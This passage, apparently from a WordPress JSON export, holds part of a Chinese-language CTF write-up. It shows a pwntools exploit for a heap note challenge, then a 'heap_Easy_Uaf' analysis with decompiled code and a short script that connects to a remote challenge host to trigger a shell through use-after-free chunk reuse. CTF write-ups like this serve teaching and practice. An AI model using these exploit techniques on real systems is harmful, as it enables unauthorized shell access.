&nbsp; &nbsp;io.recvuntil(b\"choice :\")<br> &nbsp; &nbsp;io.sendline(b'1')<br> &nbsp; &nbsp;io.recvuntil(b\"Note size :\")<br> &nbsp; &nbsp;io.sendline(str(size).encode()) &nbsp;<br> &nbsp; &nbsp;io.recvuntil(b\"Content :\")<br> &nbsp; &nbsp;io.send(content) &nbsp;<br>\u200b<br>def delete(idx):<br> &nbsp; &nbsp;io.recvuntil(b\"choice :\")<br> &nbsp; &nbsp;io.sendline(b\"2\")<br> &nbsp; &nbsp;io.recvuntil(b\"Index :\")<br> &nbsp; &nbsp;io.sendline(str(idx).encode()) &nbsp;<br>\u200b<br>def pri(idx):<br> &nbsp; &nbsp;io.recvuntil(b\"choice :\")<br> &nbsp; &nbsp;io.sendline(b'3')<br> &nbsp; &nbsp;io.recvuntil(b\"Index :\")<br> &nbsp; &nbsp;io.sendline(str(idx).encode()) <br>\u200b<br># \u521b\u5efa\u4e24\u4e2anote<br>add(32, b'aaaa') &nbsp;#32\u662f\u5185\u5b58\u5206\u914d\u7684\u6700\u5c0f\u5927\u5c0f<br>add(32, b'bbbb')<br>\u200b<br># \u5220\u9664note\uff08\u7d22\u5f150\u548c1\uff09<br>delete(0)<br>delete(1)<br>\u200b<br># \u91cd\u65b0\u6dfb\u52a0\u7b14\u8bb0\u8986\u76d6\u6307\u9488<br>add(8, p32(use)) &nbsp;<br>\u200b<br>\u200b<br>pri(0)<br>\u200b<br>io.interactive()<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">Polar<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">heap_Easy_Uaf<\/h2>\n\n\n\n<p>\u8fdb\u6765\u5c31\u5148\u67e5\u4e00\u4e0b\u5427<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Arch: &nbsp; &nbsp; &nbsp; amd64-64-little<br>RELRO: &nbsp; &nbsp;  Partial RELRO<br>Stack: &nbsp; &nbsp;  Canary found<br>NX: &nbsp; &nbsp; &nbsp; &nbsp; NX enabled<br>PIE: &nbsp; &nbsp; &nbsp;  No PIE (0x400000)<br>Stripped: &nbsp; No<br>Debuginfo:  Yes<\/code><\/pre>\n\n\n\n<p>main\u5206\u6790\u4e00\u4e0b\u770b\u5230\u4ecd\u7136\u662f\u5e38\u89c4\u7684\u83dc\u5355\u9898<\/p>\n\n\n\n<p>\u524d\u9762\u7684\u51e0\u4e2a\u51fd\u6570\u90fd\u6ca1\u7ec6\u770b<\/p>\n\n\n\n<p>\u4f46\u662f\u8fdb\u8fd9\u4e2aare<\/p>\n\n\n\n<p>\u53ef\u4ee5\u660e\u663e\u7684\u53d1\u73b0\u6709\u95ee\u9898<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int __cdecl Are()<br>{<br> &nbsp;int result; \/\/ eax<br> &nbsp;int size; \/\/ &#91;rsp+4h] &#91;rbp-1Ch] BYREF<br> &nbsp;char *a; \/\/ &#91;rsp+8h] &#91;rbp-18h]<br> &nbsp;char *b; \/\/ &#91;rsp+10h] &#91;rbp-10h]<br> &nbsp;unsigned __int64 v4; \/\/ &#91;rsp+18h] &#91;rbp-8h]<br>\u200b<br> &nbsp;v4 = __readfsqword(0x28u);<br> &nbsp;a = (char *)malloc(0x68uLL);<br> &nbsp;strcpy(a, \"Flag\");<br> &nbsp;free(a);<br> &nbsp;size = 0;<br> &nbsp;puts(\"Please Input Chunk size :\");<br> &nbsp;__isoc99_scanf(\"%d\", &amp;size);<br> &nbsp;getchar();<br> &nbsp;b = (char *)malloc(size);<br> &nbsp;puts(\"Please Input Content : \");<br> &nbsp;gets(b);<br> &nbsp;result = strncmp(a, \"Flag\", 4uLL);<br> &nbsp;if ( !result )<br> &nbsp; &nbsp;return system(\"\/bin\/sh\");<br> &nbsp;return result;<br>}<\/code><\/pre>\n\n\n\n<p>\u5f88\u660e\u663e\u7684\u51fa\u73b0\u4e86flag\u5b57\u6837<\/p>\n\n\n\n<p>\u518d\u770b<\/p>\n\n\n\n<p>\u6709free\u64cd\u4f5c<\/p>\n\n\n\n<p>\u91ca\u653e\u4e86a\uff0c\u4f46\u5e76\u6ca1\u6709\u5c06a\u6307\u9488\u7f6e\u4e3aNULL<\/p>\n\n\n\n<p>\u8fd9\u5c31\u5bfc\u81f4\u4e86a\u6210\u4e3a\u4e86\u4e00\u4e2a\u60ac\u5782\u6307\u9488<\/p>\n\n\n\n<p>\u7136\u540e\u5462\uff0c\u53c8malloc\u4e86\u4e00\u4e2ab<\/p>\n\n\n\n<p>\u8fd9\u91cc\u5c31\u51fa\u73b0\u4e86\u4e00\u4e2a\u7279\u6027\u95ee\u9898<\/p>\n\n\n\n<p>glibc \u7684 malloc \u6709\u4e00\u4e2a\u7279\u6027\uff1a<strong>\u76f8\u540c\u5927\u5c0f\u7684 free chunk \u4f1a\u88ab\u590d\u7528<\/strong><\/p>\n\n\n\n<p>\u8fd9\u91cca\u7684\u5927\u5c0f\u662f0x68 = 104<\/p>\n\n\n\n<p>\u5982\u679c\u8bf4\u6211\u4eec\u5728\u8f93\u5165size\u5927\u5c0f\u7684\u65f6\u5019\uff0c\u7ed9b\u5806\u5757\u540c\u6837\u4e8ea\u7684\u5927\u5c0f\uff0c\u90a3\u4e48\u5c31\u4f1a\u590d\u7528\u521a\u521a\u88abfree\u6389\u7684a\u5757<\/p>\n\n\n\n<p>\u8fd9\u6837\uff0ca \uff0cb\u5c31\u6307\u5411\u4e86\u540c\u4e00\u5757\u5185\u5b58\u533a\u57df<\/p>\n\n\n\n<p>\u7136\u540e\u7ee7\u7eed\u5f80\u4e0b\u8fdb\u884c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gets(b);<br>result = strncmp(a, \"Flag\", 4uLL);<br>if ( !result )<br> &nbsp; &nbsp;return system(\"\/bin\/sh\");<br>return result;<\/code><\/pre>\n\n\n\n<p><code>if ( !result )<\/code>\u4f1a\u5224\u65adresult\u662f\u5426\u4e3a0\uff0c\u4e3a0\u5219\u771f\uff0c\u8fdb\u5165\u4e0b\u9762\u7684system<\/p>\n\n\n\n<p>\u800cresult\u7684\u503c\u53d6\u51b3\u4e8ea\u7684\u524d\u56db\u5b57\u8282\u548c&#8221;Flag&#8221;\u7684\u6bd4\u8f83<\/p>\n\n\n\n<p>\u5982\u679c\u4e00\u81f4\uff0c\u90a3\u4e48\u5c31\u4f1a\u8fd4\u56de0\uff0c\u53cd\u4e4b\u5219\u8fd4\u56de\u975e0<\/p>\n\n\n\n<p>\u4f46\u662f\u6211\u4eec\u80fd\u4f20\u5165\u5e76\u4fee\u6539\u7684\u662fb\u7684\u5185\u5b58\u533a\u57df<\/p>\n\n\n\n<p>\u6240\u4ee5\u5c31\u662f\u4e00\u5f00\u59cb\u8bf4\u5230\u7684\u70b9<\/p>\n\n\n\n<p>\u8981\u60f3\u4fee\u6539a\u7684\u5185\u5b58\u533a\u57df\uff0c\u4f46\u662fa\u4e00\u5f00\u59cb\u5c31\u88abfree\u6389\u4e86\uff0c\u6240\u4ee5\u53ea\u80fd\u60f3\u529e\u6cd5\u5bf9\u5176\u8fdb\u884c\u590d\u7528<\/p>\n\n\n\n<p>\u6240\u4ee5\u5728malloc \u8fd9\u4e2ab\u5757\u65f6\uff0c\u5fc5\u987b\u8981\u4f7f\u5176\u5927\u5c0f\u548ca\u7b49\u540c\uff0c\u624d\u80fd\u4f9d\u9760glibc\u7684\u7279\u6027\uff0c\u4f7f\u5176\u6307\u5411\u540c\u4e00\u5757\u5185\u5b58\u533a\u57df<\/p>\n\n\n\n<p>\u8fd9\u6837\u5c31\u80fd\u901a\u8fc7\u5199b\u5757\u5b8c\u6210\u5bf9a\u6307\u5411\u5185\u5bb9\u7684\u8986\u5199<\/p>\n\n\n\n<p>\u5206\u6790\u5c31\u8fd9\u4e48\u591a<\/p>\n\n\n\n<p>exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>io = remote(\"1.95.36.136\",2128)<br>\u200b<br>io.sendline(b'5')<br>io.sendline(b'104')<br>io.sendline(b'Flag')<br>io.interactive()<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>ret2orw \u611f\u89c9\u4f1a\u6210\u6211\u5370\u8c61\u5f88\u6df1\u523b\u7684ORW\u5165\u95e8\u9898 \u5f00\u5c40\u5148checksec RELRO\u534a\u5f00\uff0cNX\u5f00\u7740 \u5148\u56de\u5230I [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-575","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/575","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=575"}],"version-history":[{"count":0,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/575\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=575"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=575"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=575"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}